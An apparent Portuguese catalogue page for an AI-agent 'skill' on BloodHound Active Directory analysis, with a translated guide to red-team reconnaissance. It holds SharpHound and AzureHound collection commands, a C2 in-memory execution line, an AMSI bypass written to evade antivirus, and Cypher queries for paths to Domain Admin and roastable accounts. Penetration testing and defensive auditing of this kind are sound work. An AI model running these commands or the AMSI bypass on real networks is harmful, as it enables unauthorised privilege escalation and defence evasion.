Pular para o conteúdo
Skillpedia
Diversos35 mil · #6008

performing-active-directory-bloodhound-analysis

Faz seu agente mapear caminhos de ataque em redes corporativas. Útil para identificar como um invasor pode ganhar mais controle no sistema.

O que ela faz

Esta ferramenta ajuda a encontrar caminhos secretos que um invasor pode usar para ganhar controle total de um sistema de computador chamado Active Directory. Ela visualiza como alguém com acesso limitado pode se tornar um administrador.

Quando usar

  • ✓Quando você está testando a segurança de uma rede para encontrar pontos fracos.
  • ✓Quando você precisa entender como um ataque pode ter acontecido.
  • ✓Quando você quer verificar se as proteções de segurança estão funcionando.

Exemplo do que pedir para a IA

“Encontre caminhos de ataque de um usuário comum até o administrador do domínio.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-active-directory-bloodhound-analysis/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-active-directory-bloodhound-analysis/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta coleta informações sobre como os usuários e computadores estão conectados e usa um mapa para mostrar as rotas de acesso. Ela procura por configurações incorretas que podem ser exploradas.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-active-directory-bloodhound-analysis

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-active-directory-bloodhound-analysis/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Análise do BloodHound no Active Directory

Visão Geral

BloodHound é uma ferramenta de reconhecimento de código aberto para Active Directory que utiliza a teoria dos grafos para revelar relacionamentos ocultos, caminhos de ataque e oportunidades de escalonamento de privilégios em ambientes de AD. Ao coletar dados com SharpHound (ou AzureHound para Azure AD), o BloodHound visualiza como um atacante pode escalar de um usuário com privilégios baixos para Administrador de Domínio através de cadeias de configurações incorretas, associações de grupos, abusos de ACL e relacionamentos de confiança. O MITRE ATT&CK classifica o BloodHound como software S0521.

Quando Usar

  • Ao realizar avaliações de segurança que envolvam a análise do BloodHound no Active Directory.
  • Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados.
  • Ao realizar testes de segurança ou atividades de auditoria agendadas.
  • Ao validar controles de segurança através de testes práticos.

Pré-requisitos

  • Ponto de acesso inicial em um sistema Windows ingressado no domínio (ou credenciais de domínio válidas).
  • BloodHound CE (Community Edition) ou BloodHound Legacy 4.x instalado.
  • Coletor SharpHound (binário C# ou módulo PowerShell).
  • Banco de dados Neo4j (Legacy) ou PostgreSQL (CE).
  • Acesso à rede aos controladores de domínio (LDAP TCP/389, LDAPS TCP/636).

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Mapeamento MITRE ATT&CK

ID da Técnica Nome Tática
T1087.002 Descoberta de Conta: Conta de Domínio Descoberta
T1069.002 Descoberta de Grupos de Permissão: Grupos de Domínio Descoberta
T1018 Descoberta de Sistema Remoto Descoberta
T1482 Descoberta de Confiança de Domínio Descoberta
T1615 Descoberta de Política de Grupo Descoberta
T1069.001 Descoberta de Grupos de Permissão: Grupos Locais Descoberta

Etapa 1: Coleta de Dados com SharpHound

SharpHound.exe (Preferível para OPSEC)

# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip

# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp

# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123

# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00

# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp

Invoke-BloodHound (PowerShell)

# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip

# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)

AzureHound (Azure AD)

# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json

# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound

Etapa 2: Importar Dados para o BloodHound

BloodHound CE (v5+)

# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up

# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File

BloodHound Legacy

# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)

# Start BloodHound GUI
./BloodHound --no-sandbox

# Drag and drop ZIP file into BloodHound GUI

Etapa 3: Análise de Caminhos de Ataque

Consultas Pré-construídas (Mais Críticas)

-- Encontrar todos os Administradores de Domínio
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n

-- Caminho mais curto de usuário possuído para Administrador de Domínio
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Encontrar usuários Kerberoastable com caminho para DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Encontrar usuários AS-REP Roastable
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname


…
Perguntas frequentes

O que é Active Directory?

É um sistema usado por muitas empresas para gerenciar computadores e usuários em sua rede.

O que é um 'caminho de ataque'?

É uma sequência de passos que um invasor pode seguir para ganhar mais acesso e controle em uma rede.

Preciso ser um especialista para usar isso?

Não, mas entender os conceitos básicos de redes e segurança ajuda a interpretar os resultados.

Detalhes

Descrição original do autor

Use BloodHound and SharpHound (or AzureHound) to enumerate Active Directory relationships and graph attack paths from a compromised user to Domain Admin. Use when performing AD red-team reconnaissance, mapping privilege-escalation chains from group memberships, ACLs, and trusts, or auditing AD for exploitable misconfigurations.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6008
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas